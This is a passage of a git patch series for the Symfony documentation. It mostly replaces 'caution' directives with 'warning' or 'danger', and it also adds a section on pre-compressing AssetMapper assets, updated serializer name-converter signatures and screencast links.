     Combining the widget type ``single_text`` and the `with_minutes`_ option
     set to ``false`` can cause unexpected behavior in the client as the
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index 3750e1b98d8..ceb72eb6979 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -69,7 +69,7 @@ Overridden Options
 The Timezone type defaults the choices to all timezones returned by
 :phpmethod:`DateTimeZone::listIdentifiers`, broken down by continent.
 
-.. caution::
+.. warning::
 
     If you want to override the built-in choices of the timezone type, you
     will also have to set the ``choice_loader`` option to ``null``.
diff --git a/routing.rst b/routing.rst
index 02e5809cddb..47fcfe8cb8f 100644
--- a/routing.rst
+++ b/routing.rst
@@ -85,7 +85,7 @@ the ``list()`` method of the ``BlogController`` class.
     example, URLs like ``/blog?foo=bar`` and ``/blog?foo=bar&bar=foo`` will
     also match the ``blog_list`` route.
 
-.. caution::
+.. warning::
 
     If you define multiple PHP classes in the same file, Symfony only loads the
     routes of the first class, ignoring all the other routes.
@@ -419,7 +419,7 @@ Behind the scenes, expressions are compiled down to raw PHP. Because of this,
 using the ``condition`` key causes no extra overhead beyond the time it takes
 for the underlying PHP to execute.
 
-.. caution::
+.. warning::
 
     Conditions are *not* taken into account when generating URLs (which is
     explained later in this article).
@@ -874,7 +874,7 @@ other configuration formats they are defined with the ``defaults`` option:
 Now, when the user visits ``/blog``, the ``blog_list`` route will match and
 ``$page`` will default to a value of ``1``.
 
-.. caution::
+.. warning::
 
     You can have more than one optional parameter (e.g. ``/blog/{slug}/{page}``),
     but everything after an optional parameter must be optional. For example,
@@ -1565,7 +1565,7 @@ when importing the routes.
             ;
         };
 
-.. caution::
+.. warning::
 
     The ``exclude`` option only works when the ``resource`` value is a glob string.
     If you use a regular string (e.g. ``'../src/Controller'``) the ``exclude``
@@ -2385,7 +2385,7 @@ use the ``generateUrl()`` helper::
         // the 'blog' route only defines the 'page' parameter; the generated URL is:
         // /blog/2?category=Symfony
 
-.. caution::
+.. warning::
 
     While objects are converted to string when used as placeholders, they are not
     converted when used as extra parameters. So, if you're passing an object (e.g. an Uuid)
diff --git a/security.rst b/security.rst
index 8661263b90d..42489f6e3fe 100644
--- a/security.rst
+++ b/security.rst
@@ -902,7 +902,7 @@ Finally, create or update the template:
         </form>
     {% endblock %}
 
-.. caution::
+.. warning::
 
     The ``error`` variable passed into the template is an instance
     of :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`.
@@ -2298,7 +2298,7 @@ Users with ``ROLE_SUPER_ADMIN``, will automatically have ``ROLE_ADMIN``,
 ``ROLE_ALLOWED_TO_SWITCH`` and ``ROLE_USER`` (inherited from
 ``ROLE_ADMIN``).
 
-.. caution::
+.. warning::
 
     For role hierarchy to work, do not use ``$user->getRoles()`` manually.
     For example, in a controller extending from the :ref:`base controller <the-base-controller-class-services>`::
diff --git a/security/access_control.rst b/security/access_control.rst
index e27edde8e74..d658b6b7c26 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -221,7 +221,7 @@ Example #7:
   * **Why?** This doesn't match any ``access_control`` rules, since its URI
   * doesn't match any of the ``path`` values.
 
-.. caution::
+.. warning::
 
     Matching the URI is done without ``$_GET`` parameters.
     :ref:`Deny access in PHP code <security-securing-controller>` if you want
@@ -254,7 +254,7 @@ options:
     can learn how to use your custom attributes by reading
     :ref:`security/custom-voter`.
 
-.. caution::
+.. warning::
 
     If you define both ``roles`` and ``allow_if``, and your Access Decision
     Strategy is the default one (``affirmative``), then the user will be granted
@@ -276,7 +276,7 @@ entry that *only* matches requests coming from some IP address or range.
 For example, this *could* be used to deny access to a URL pattern to all
 requests *except* those from a trusted, internal server.
 
-.. caution::
+.. warning::
 
     As you'll read in the explanation below the example, the ``ips`` option
     does not restrict to a specific IP address. Instead, using the ``ips``
diff --git a/security/access_token.rst b/security/access_token.rst
index 18f28e9f9f5..608a8395844 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -107,7 +107,7 @@ This handler must implement
 The access token authenticator will use the returned user identifier to
 load the user using the :ref:`user provider <security-user-providers>`.
 
-.. caution::
+.. warning::
 
     It is important to check the token if is valid. For instance, the
     example above verifies whether the token has not expired. With
@@ -136,7 +136,7 @@ Symfony provides other extractors as per the `RFC6750`_:
     The token is part of the request body during a POST request. Usually
     ``access_token``.
 
-.. caution::
+.. warning::
 
     Because of the security weaknesses associated with the URI method,
     including the high likelihood that the URL or the request body
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 79b756b4880..a641d62612e 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -5,7 +5,7 @@ Sometimes, it's useful to be able to switch from one user to another without
 having to log out and log in again (for instance when you are debugging something
 a user sees that you can't reproduce).
 
-.. caution::
+.. warning::
 
     User impersonation is not compatible with some authentication mechanisms
     (e.g. ``REMOTE_USER``) where the authentication information is expected to be
diff --git a/security/ldap.rst b/security/ldap.rst
index b8db2d03a4f..4345f55e6d9 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -197,14 +197,14 @@ use the ``ldap`` user provider.
             ;
         };
 
-.. caution::
+.. danger::
 
     The Security component escapes provided input data when the LDAP user
     provider is used. However, the LDAP component itself does not provide
     any escaping yet. Thus, it's your responsibility to prevent LDAP injection
     attacks when using the component directly.
 
-.. caution::
+.. warning::
 
     The user configured above in the user provider is only used to retrieve
     data. It's a static user defined by its username and password (for improved
diff --git a/security/login_link.rst b/security/login_link.rst
index 4bfe16ef2e9..4ee1773d4e0 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -194,7 +194,7 @@ controller. Based on this property, the correct user is loaded and a login
 link is created using
 :method:`Symfony\\Component\\Security\\Http\\LoginLink\\LoginLinkHandlerInterface::createLoginLink`.
 
-.. caution::
+.. warning::
 
     It is important to send this link to the user and **not show it directly**,
     as that would allow anyone to login. For instance, use the
diff --git a/security/passwords.rst b/security/passwords.rst
index 09e01507dec..fe20187b3a0 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -644,7 +644,7 @@ the name of the hasher to use::
         }
     }
 
-.. caution::
+.. warning::
 
     When :ref:`migrating passwords <security-password-migration>`, you don't
     need to implement ``PasswordHasherAwareInterface`` to return the legacy
diff --git a/security/user_providers.rst b/security/user_providers.rst
index 17a18468168..09d47c270f2 100644
--- a/security/user_providers.rst
+++ b/security/user_providers.rst
@@ -257,7 +257,7 @@ After setting up hashing, you can configure all the user information in
             ;
         };
 
-.. caution::
+.. warning::
 
     When using a ``memory`` provider, and not the ``auto`` algorithm, you have
     to choose an encoding without salt (i.e. ``bcrypt``).
diff --git a/security/voters.rst b/security/voters.rst
index 5423133dcd0..21e2c8de33b 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -273,7 +273,7 @@ with ``ROLE_SUPER_ADMIN``::
         }
     }
 
-.. caution::
+.. warning::
 
     In the previous example, avoid using the following code to check if a role
     is granted permission::
diff --git a/serializer.rst b/serializer.rst
index 6cb0a564f3a..908f2e3ba2c 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1073,7 +1073,7 @@ using :doc:`valid PropertyAccess syntax </components/property_access>`:
             </class>
         </serializer>
 
-.. caution::
+.. warning::
 
     The ``SerializedPath`` cannot be used in combination with a
     ``SerializedName`` for the same property.
diff --git a/service_container.rst b/service_container.rst
index 1f3a248dbe5..c1f5dc7b5f4 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -582,7 +582,7 @@ accessor methods for parameters::
     // adds a new parameter
     $container->setParameter('mailer.transport', 'sendmail');
 
-.. caution::
+.. warning::
 
     The used ``.`` notation is a
     :ref:`Symfony convention <service-naming-conventions>` to make parameters
@@ -1392,7 +1392,7 @@ and ``site_update_manager.normal_users``. Thanks to the alias, if you type-hint
 If you want to pass the second, you'll need to :ref:`manually wire the service <services-wire-specific-service>`
 or to create a named :ref:`autowiring alias <autowiring-alias>`.
 
-.. caution::
+.. warning::
 
     If you do *not* create the alias and are :ref:`loading all services from src/ <service-container-services-load-example>`,
     then *three* services have been created (the automatic service + your two services)
diff --git a/service_container/definitions.rst b/service_container/definitions.rst
index e54a99237d9..a2a50591668 100644
--- a/service_container/definitions.rst
+++ b/service_container/definitions.rst
@@ -86,7 +86,7 @@ fetched from the container::
 
     // gets a specific argument
     $firstArgument = $definition->getArgument(0);
-    
+
     // adds a new named argument
     // '$argumentName' = the name of the argument in the constructor, including the '$' symbol
     $definition = $definition->setArgument('$argumentName', $argumentValue);
@@ -100,7 +100,7 @@ fetched from the container::
     // replaces all previously configured arguments with the passed array
     $definition->setArguments($arguments);
 
-.. caution::
+.. warning::
 
     Don't use ``get()`` to get a service that you want to inject as constructor
     argument, the service is not yet available. Instead, use a
diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 827d36a0662..9af730867de 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -21,7 +21,7 @@ Configuring lazy services is one answer to this. With a lazy service, a
 like the ``mailer``, except that the ``mailer`` isn't actually instantiated
 until you interact with the proxy in some way.
 
-.. caution::
+.. warning::
 
     Lazy services do not support `final`_ or ``readonly`` classes, but you can use
     `Interface Proxifying`_ to work around this limitation.
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 18bc5d4d85f..7bf1fb9165d 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -683,7 +683,7 @@ Three different behaviors are available:
             ;
         };
 
-.. caution::
+.. warning::
 
     When using ``null``, you may have to update the decorator constructor in
     order to make decorated dependency nullable::
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index da5cb415800..fe0a51b4c81 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -947,7 +947,7 @@ and compose your services with them::
         }
     }
 
-.. caution::
+.. warning::
 
     When creating these helper traits, the service id cannot be ``__METHOD__``
     as this will include the trait name, not the class name. Instead, use
diff --git a/service_container/tags.rst b/service_container/tags.rst
index ceb5887328c..f905ed1895e 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -112,7 +112,7 @@ If you want to apply tags automatically for your own services, use the
                     ->tag('app.custom_tag');
         };
 
-.. caution::
+.. warning::
 
     If you're using PHP configuration, you need to call ``instanceof`` before
     any service registration to make sure tags are correctly applied.
diff --git a/session.rst b/session.rst
index e3aabbf201b..9ddf3eb028d 100644
--- a/session.rst
+++ b/session.rst
@@ -419,7 +419,7 @@ session metadata files:
 Check out the Symfony config reference to learn more about the other available
 :ref:`Session configuration options <config-framework-session>`.
 
-.. caution::
+.. warning::
 
     Symfony sessions are incompatible with ``php.ini`` directive
     ``session.auto_start = 1`` This directive should be turned off in
@@ -1531,7 +1531,7 @@ event::
         }
     }
 
-.. caution::
+.. warning::
 
     In order to update the language immediately after a user has changed their
     language preferences, you also need to update the session when you change
diff --git a/setup/_update_all_packages.rst.inc b/setup/_update_all_packages.rst.inc
index a6a6c70e570..7b858c51351 100644
--- a/setup/_update_all_packages.rst.inc
+++ b/setup/_update_all_packages.rst.inc
@@ -9,7 +9,7 @@ this safely by running:
 
     $ composer update
 
-.. caution::
+.. warning::
 
     Beware, if you have some unspecific `version constraints`_ in your
     ``composer.json`` (e.g. ``dev-master``), this could upgrade some
diff --git a/setup/file_permissions.rst b/setup/file_permissions.rst
index 7bf2d0bf035..45195f21e31 100644
--- a/setup/file_permissions.rst
+++ b/setup/file_permissions.rst
@@ -67,12 +67,12 @@ Edit your web server configuration (commonly ``httpd.conf`` or ``apache2.conf``
 for Apache) and set its user to be the same as your CLI user (e.g. for Apache,
 update the ``User`` and ``Group`` directives).
 
-.. caution::
+.. danger::
 
     If this solution is used in a production server, be sure this user only has
     limited privileges (no access to private data or servers, execution of
-    unsafe binaries, etc.) as a compromised server would give to the hacker
-    those privileges.
+    unsafe binaries, etc.) as a compromised server would give those privileges
+    to the hacker.
 
 3. Without Using ACL
 ~~~~~~~~~~~~~~~~~~~~
@@ -89,7 +89,7 @@ and ``public/index.php`` files::
 
     umask(0000); // This will let the permissions be 0777
 
-.. caution::
+.. warning::
 
     Changing the ``umask`` is not thread-safe, so the ACL methods are recommended
     when they are available.
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index f8b7c6e35c4..2ea4da543fe 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -294,7 +294,7 @@ domains work:
     # Example with Cypress
     $ https_proxy=$(symfony proxy:url) ./node_modules/bin/cypress open
 
-.. caution::
+.. warning::
 
     Although env var names are always defined in uppercase, the ``https_proxy``
     env var `is treated differently`_ than other env vars and its name must be
@@ -357,7 +357,7 @@ There are several options that you can set using a ``.symfony.local.yaml`` confi
         use_gzip: true # Toggle GZIP compression
         no_workers: true # Do not start workers
 
-.. caution::
+.. warning::
 
     Setting domains in this configuration file will override any domains you set
     using the ``proxy:domain:attach`` command for the current project when you start
@@ -524,7 +524,7 @@ its location, same as for ``docker-compose``:
     If you have more than one Docker Compose file, you can provide them all
     separated by ``:`` as explained in the `Docker compose CLI env var reference`_.
 
-.. caution::
+.. warning::
 
     When using the Symfony binary with ``php bin/console`` (``symfony console ...``),
     the binary will **always** use environment variables detected via Docker and will
@@ -534,7 +534,7 @@ its location, same as for ``docker-compose``:
     ``symfony console doctrine:database:drop --force --env=test``, the command will drop the database
     defined in your Docker configuration and not the "test" one.
 
-.. caution::
+.. warning::
 
     Similar to other web servers, this tool automatically exposes all environment
     variables available in the CLI context. Ensure that this local server is not
diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index f7d2b697550..8c172c49b29 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -98,7 +98,7 @@ Now, you can start fixing the notices:
 Once you fixed them all, the command ends with ``0`` (success) and you're
 done!
 
-.. caution::
+.. warning::
 
     You will probably see many deprecations about incompatible native
     return types. See :ref:`Add Native Return Types <upgrading-native-return-types>`
diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index f8f4bd76606..acd76c342b9 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -129,7 +129,7 @@ The **minimum configuration** to get your application running under Nginx is:
     If you have other PHP files in your public directory that need to be executed,
     be sure to include them in the ``location`` block above.
 
-.. caution::
+.. warning::
 
     After you deploy to production, make sure that you **cannot** access the ``index.php``
     script (i.e. ``http://example.com/index.php``).
diff --git a/templates.rst b/templates.rst
index a477c251371..77e10bc5596 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1091,7 +1091,7 @@ template fragments. Configure that special URL in the ``fragments`` option:
             $framework->fragments()->path('/_fragment');
         };
 
-.. caution::
+.. warning::
 
     Embedding controllers requires making requests to those controllers and
     rendering some templates as result. This can have a significant impact on
@@ -1297,7 +1297,7 @@ different templates to create the final contents. This inheritance mechanism
 boosts your productivity because each template includes only its unique contents
 and leaves the repeated contents and HTML structure to some parent templates.
 
-.. caution::
+.. warning::
 
     When using ``extends``, a child template is forbidden to define template
     parts outside of a block. The following code throws a ``SyntaxError``:
diff --git a/testing.rst b/testing.rst
index f989b7e9961..4e719bc23d5 100644
--- a/testing.rst
+++ b/testing.rst
@@ -235,7 +235,7 @@ in them, files lower in the list override previous items):
 #. ``.env.test``: overriding/setting specific test values or vars;
 #. ``.env.test.local``: overriding settings specific for this machine.
 
-.. caution::
+.. warning::
 
     The ``.env.local`` file is **not** used in the test environment, to
     make each test set-up as consistent as possible.
@@ -761,7 +761,7 @@ You can also override HTTP headers on a per request basis::
         'HTTP_USER_AGENT' => 'MySuperBrowser/1.0',
     ]);
 
-.. caution::
+.. warning::
 
     The name of your custom headers must follow the syntax defined in the
     `section 4.1.18 of RFC 3875`_: replace ``-`` by ``_``, transform it into
diff --git a/testing/end_to_end.rst b/testing/end_to_end.rst
index e43f5fa2be2..d59f243f998 100644
--- a/testing/end_to_end.rst
+++ b/testing/end_to_end.rst
@@ -457,7 +457,7 @@ Accepting Self-Signed SSL Certificates
 To force Chrome to accept invalid and self-signed certificates, you can set the
 following environment variable: ``PANTHER_CHROME_ARGUMENTS='--ignore-certificate-errors'``.
 
-.. caution::
+.. danger::
 
     This option is insecure, use it only for testing in development environments,
     never in production (e.g. for web crawlers).
diff --git a/testing/http_authentication.rst b/testing/http_authentication.rst
index 46ddb82b87d..8262bf3769d 100644
--- a/testing/http_authentication.rst
+++ b/testing/http_authentication.rst
@@ -1,7 +1,7 @@
 How to Simulate HTTP Authentication in a Functional Test
 ========================================================
 
-.. caution::
+.. warning::
 
     Starting from Symfony 5.1, a ``loginUser()`` method was introduced to
     ease testing secured applications. See :ref:`testing_logging_in_users`
diff --git a/testing/insulating_clients.rst b/testing/insulating_clients.rst
index 5a76d517ced..ea9cba3c046 100644
--- a/testing/insulating_clients.rst
+++ b/testing/insulating_clients.rst
@@ -43,7 +43,7 @@ clean PHP process, thus avoiding any side effects.
     As an insulated client is slower, you can keep one client in the main
     process, and insulate the other ones.
 
-.. caution::
+.. warning::
 
     Insulating tests requires some serializing and unserializing operations. If
     your test includes data that can't be serialized, such as file streams when
diff --git a/translation.rst b/translation.rst
index b6138c02847..ed44b6d4912 100644
--- a/translation.rst
+++ b/translation.rst
@@ -392,7 +392,7 @@ translation of *static blocks of text*:
 
     {% trans %}Hello %name%{% endtrans %}
 
-.. caution::
+.. warning::
 
     The ``%var%`` notation of placeholders is required when translating in
     Twig templates using the tag.
@@ -410,7 +410,7 @@ You can also specify the message domain and pass some additional variables:
 
     {% trans with {'%name%': 'Fabien'} from 'app' into 'fr' %}Hello %name%{% endtrans %}
 
-.. caution::
+.. warning::
 
     Using the translation tag has the same effect as the filter, but with one
     major difference: automatic output escaping is **not** applied to translations
@@ -536,7 +536,7 @@ The choice of which loader to use is entirely up to you and is a matter of
 taste. The recommended option is to use YAML for simple projects and use XLIFF
 if you're generating translations with specialized programs or teams.
 
-.. caution::
+.. warning::
 
     Each time you create a *new* message catalog (or install a bundle
     that includes a translation catalog), be sure to clear your cache so
@@ -1188,7 +1188,7 @@ unused translation messages templates:
 
     {{ 'Symfony is great'|trans }}
 
-.. caution::
+.. warning::
 
     The extractors can't find messages translated outside templates (like form
     labels or controllers) unless using :ref:`translatable objects
diff --git a/validation.rst b/validation.rst
index d391aa6492c..79ab57dc8e4 100644
--- a/validation.rst
+++ b/validation.rst
@@ -529,7 +529,7 @@ class to have at least 3 characters.
             }
         }
 
-.. caution::
+.. warning::
 
     The validator will use a value ``null`` if a typed property is uninitialized.
     This can cause unexpected behavior if the property holds a value when initialized.
diff --git a/validation/groups.rst b/validation/groups.rst
index 3842c781969..8d84e52c0da 100644
--- a/validation/groups.rst
+++ b/validation/groups.rst
@@ -140,7 +140,7 @@ Constraints in the ``Default`` group of a class are the constraints that have
 either no explicit group configured or that are configured to a group equal to
 the class name or the string ``Default``.
 
-.. caution::
+.. warning::
 
     When validating *just* the User object, there is no difference between the
     ``Default`` group and the ``User`` group. But, there is a difference if
diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index 7d3663f45fc..836568c2327 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -117,7 +117,7 @@ In this example, it will first validate all constraints in the group ``User``
 (which is the same as the ``Default`` group). Only if all constraints in
 that group are valid, the second group, ``Strict``, will be validated.
 
-.. caution::
+.. warning::
 
     As you have already seen in :doc:`/validation/groups`, the ``Default`` group
     and the group containing the class name (e.g. ``User``) were identical.
@@ -131,7 +131,7 @@ that group are valid, the second group, ``Strict``, will be validated.
     sequence, which will contain the ``Default`` group which references the
     same group sequence, ...).
 
-.. caution::
+.. warning::
 
     Calling ``validate()`` with a group in the sequence (``Strict`` in previous
     example) will cause a validation **only** with that group and not with all
diff --git a/workflow.rst b/workflow.rst
index 1bf693af049..42c464840ab 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -316,7 +316,7 @@ if you are using Doctrine, the matching column definition should use the type ``
         // ...
     }
 
-.. caution::
+.. warning::
 
     You should not use the type ``simple_array`` for your marking store. Inside
     a multiple state marking store, places are stored as keys with a value of one,

From c14a4e733e4ba53e7fc5746356465d8924b22f5c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 7 Dec 2024 10:48:52 +0100
Subject: [PATCH 5202/5766] [AssetMapper] Document the feature that
 precompresses assets

---
 frontend/asset_mapper.rst | 61 ++++++++++++++++++++++++++++++++++++++-
 1 file changed, 60 insertions(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index f519c7c6109..708de32979f 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -656,7 +656,9 @@ which will automatically do most of these things for you:
 - **Compress your assets**: Your web server should compress (e.g. using gzip)
   your assets (JavaScript, CSS, images) before sending them to the browser. This
   is automatically enabled in Caddy and can be activated in Nginx and Apache.
-  In Cloudflare, assets are compressed by default.
+  In Cloudflare, assets are compressed by default. AssetMapper also supports
+  :ref:`precompressing your web assets <performance-precompressing>` to further
+  improve performance.
 
 - **Set long-lived cache expiry**: Your web server should set a long-lived
   ``Cache-Control`` HTTP header on your assets. Because the AssetMapper component includes a version
@@ -704,6 +706,57 @@ even though it hasn't yet seen the ``import`` statement for them.
 Additionally, if the :doc:`WebLink Component </web_link>` is available in your application,
 Symfony will add a ``Link`` header in the response to preload the CSS files.
 
+.. _performance-precompressing:
+
+Pre-Compressing Assets
+----------------------
+
+Although most servers (Caddy, Nginx, Apache, FrankenPHP) and services like Cloudflare
+provide asset compression features, AssetMapper also allows you to compress all
+your assets before serving them.
+
+This improves performance because you can compress assets using the highest (and
+slowest) compression ratios beforehand and provide those compressed assets to the
+server, which then returns them to the client without wasting CPU resources on
+compression.
+
+AssetMapper supports  `Brotli`_, `Zstandard`_ and  `gzip`_ compression formats.
+Before using any of them, the server that pre-compresses assets must have
+installed the following PHP extensions or CLI commands:
+
+* Brotli: ``brotli`` CLI command; `brotli PHP extension`_;
+* Zstandard: ``zstd`` CLI command; `zstd PHP extension`_;
+* gzip: ``gzip`` CLI command; `zlib PHP extension`_.
+
+Then, update your AssetMapper configuration to define which compression to use
+and which file extensions should be compressed:
+
+.. code-block:: yaml
+
+    # config/packages/asset_mapper.yaml
+    framework:
+        asset_mapper:
+            # ...
+
+            precompress:
+                format: 'zstandard'
+                # if you don't define the following option, AssetMapper will compress all
+                # the extensions considered safe (css, js, json, svg, xml, ttf, otf, wasm, etc.)
+                extensions: ['css', 'js', 'json', 'svg', 'xml']
+
+Now, when running the ``asset-map:compile`` command, all matching files will be
+compressed in the configured format and at the highest compression level. The
+compressed files are created with the same name as the original but with the
+``.br``, ``.zst``, or ``.gz`` extension appended. Web servers that support asset
+precompression will use the compressed assets automatically, so there's nothing
+else to configure in your server.
+
+.. tip::
+
+    AssetMapper provides an ``assets:compress`` CLI command and a service called
+    ``asset_mapper.compressor`` that you can use anywhere in your application to
+    compress any kind of files (e.g. files uploaded by users to your application).
+
 Frequently Asked Questions
 --------------------------
 
@@ -1195,3 +1248,9 @@ command as part of your CI to be warned anytime a new vulnerability is found.
 .. _strict-dynamic: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#strict-dynamic
 .. _kocal/biome-js-bundle: https://github.com/Kocal/BiomeJsBundle
 .. _`SensioLabs Minify Bundle`: https://github.com/sensiolabs/minify-bundle
+.. _`Brotli`: https://en.wikipedia.org/wiki/Brotli
+.. _`Zstandard`: https://en.wikipedia.org/wiki/Zstd
+.. _`gzip`: https://en.wikipedia.org/wiki/Gzip
+.. _`brotli PHP extension`: https://pecl.php.net/package/brotli
+.. _`zstd PHP extension`: https://pecl.php.net/package/zstd
+.. _`zlib PHP extension`: https://www.php.net/manual/en/book.zlib.php

From 85ceb630c6ec51f55f185847dc191d5dad2e712b Mon Sep 17 00:00:00 2001
From: Timo Bakx <github@timobakx.dev>
Date: Sat, 7 Dec 2024 12:13:49 +0100
Subject: [PATCH 5203/5766] Replaced `caution` directive by `warning`

Fixes #20371
---
 components/type_info.rst | 2 +-
 doctrine.rst             | 2 +-
 mailer.rst               | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index 30ae11aa222..2fd64b9bc5d 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -11,7 +11,7 @@ This component provides:
 * A way to get types from PHP elements such as properties, method arguments,
   return types, and raw strings.
 
-.. caution::
+.. warning::
 
     This component is :doc:`experimental </contributing/code/experimental>` and
     could be changed at any time without prior notice.
diff --git a/doctrine.rst b/doctrine.rst
index f9c1d153d82..171f8a3348a 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -320,7 +320,7 @@ before, execute your migrations:
 
     $ php bin/console doctrine:migrations:migrate
 
-.. caution::
+.. warning::
 
     If you are using an SQLite database, you'll see the following error:
     *PDOException: SQLSTATE[HY000]: General error: 1 Cannot add a NOT NULL
diff --git a/mailer.rst b/mailer.rst
index 0d3e296ee77..06feb1e5c29 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -361,7 +361,7 @@ setting the ``auto_tls`` option to ``false`` in the DSN::
 
     $dsn = 'smtp://user:pass@10.0.0.25?auto_tls=false';
 
-.. caution::
+.. warning::
 
     It's not recommended to disable TLS while connecting to an SMTP server over
     the Internet, but it can be useful when both the application and the SMTP

From 0a3fb8d716fd0adf21d56762821ce7b19f71b90b Mon Sep 17 00:00:00 2001
From: Timo Bakx <github@timobakx.dev>
Date: Sat, 7 Dec 2024 12:19:15 +0100
Subject: [PATCH 5204/5766] Replaced `caution` directive by `warning`

Fixes #20371
---
 reference/forms/types/options/choice_lazy.rst.inc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/options/choice_lazy.rst.inc b/reference/forms/types/options/choice_lazy.rst.inc
index bdcbf178406..08fbe953e41 100644
--- a/reference/forms/types/options/choice_lazy.rst.inc
+++ b/reference/forms/types/options/choice_lazy.rst.inc
@@ -24,7 +24,7 @@ will only load and render the choices that are preset as default values or
 submitted. This defers the loading of the full list of choices, helping to
 improve your form's performance.
 
-.. caution::
+.. warning::
 
     Keep in mind that when using ``choice_lazy``, you are responsible for
     providing the user interface for selecting choices, typically through a

From 0f8ce658c5381d1ab5910e2dcd84dde27cbc200f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 7 Dec 2024 12:58:50 +0100
Subject: [PATCH 5205/5766] [Mesenger] Mention that some option doesn't have
 docs

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index c86ae948b0c..9d5ab5d35c8 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1465,7 +1465,7 @@ The transport has a number of options:
     (no description available)
 
 ``sasl_method``
-
+    (no description available)
 
 ``connection_name``
     For custom connection names (requires at least version 1.10 of the PHP AMQP

From b53029a64602d1cde5aa704ae1145532ee875bf3 Mon Sep 17 00:00:00 2001
From: Matthias Schmidt <matthias@mttsch.dev>
Date: Mon, 22 Apr 2024 18:56:41 +0200
Subject: [PATCH 5206/5766] [Serializer] Add class/format/context to
 NameConverterInterface

Fix #19683
---
 serializer/custom_name_converter.rst | 11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/serializer/custom_name_converter.rst b/serializer/custom_name_converter.rst
index 82247134217..d0ed45bdc0a 100644
--- a/serializer/custom_name_converter.rst
+++ b/serializer/custom_name_converter.rst
@@ -30,19 +30,26 @@ A custom name converter can handle such cases::
 
     class OrgPrefixNameConverter implements NameConverterInterface
     {
-        public function normalize(string $propertyName): string
+        public function normalize(string $propertyName, string $class = null, ?string $format = null, array $context = []): string
         {
             // during normalization, add the prefix
             return 'org_'.$propertyName;
         }
 
-        public function denormalize(string $propertyName): string
+        public function denormalize(string $propertyName, ?string $class = null, ?string $format = null, array $context = []): string
         {
             // remove the 'org_' prefix on denormalizing
             return str_starts_with($propertyName, 'org_') ? substr($propertyName, 4) : $propertyName;
         }
     }
 
+.. versionadded:: 7.1
+
+    Accessing the current class name, format and context via
+    :method:`Symfony\\Component\\Serializer\\NameConverter\\NameConverterInterface::normalize`
+    and :method:`Symfony\\Component\\Serializer\\NameConverter\\NameConverterInterface::denormalize`
+    was introduced in Symfony 7.1.
+
 .. note::
 
     You can also implement

From a1d672b429048484cb491225a835ec58d0fafd00 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Sat, 7 Dec 2024 14:06:39 +0100
Subject: [PATCH 5207/5766] add symfonycasts links in frontend doc

---
 frontend.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/frontend.rst b/frontend.rst
index f498dc737b5..c28e6fcf222 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -61,6 +61,10 @@ be executed by a browser.
 AssetMapper (Recommended)
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
+.. screencast::
+
+    Do you prefer video tutorials? Check out the `AssetMapper screencast series`_.
+
 AssetMapper is the recommended system for handling your assets. It runs entirely
 in PHP with no complex build step or dependencies. It does this by leveraging
 the ``importmap`` feature of your browser, which is available in all browsers thanks
@@ -118,6 +122,10 @@ the `StimulusBundle Documentation`_
 Using a Front-end Framework (React, Vue, Svelte, etc)
 -----------------------------------------------------
 
+.. screencast::
+
+    Do you prefer video tutorials? Check out the `API Platform screencast series`_.
+
 If you want to use a front-end framework (Next.js, React, Vue, Svelte, etc),
 we recommend using their native tools and using Symfony as a pure API. A wonderful
 tool to do that is `API Platform`_. Their standard distribution comes with a
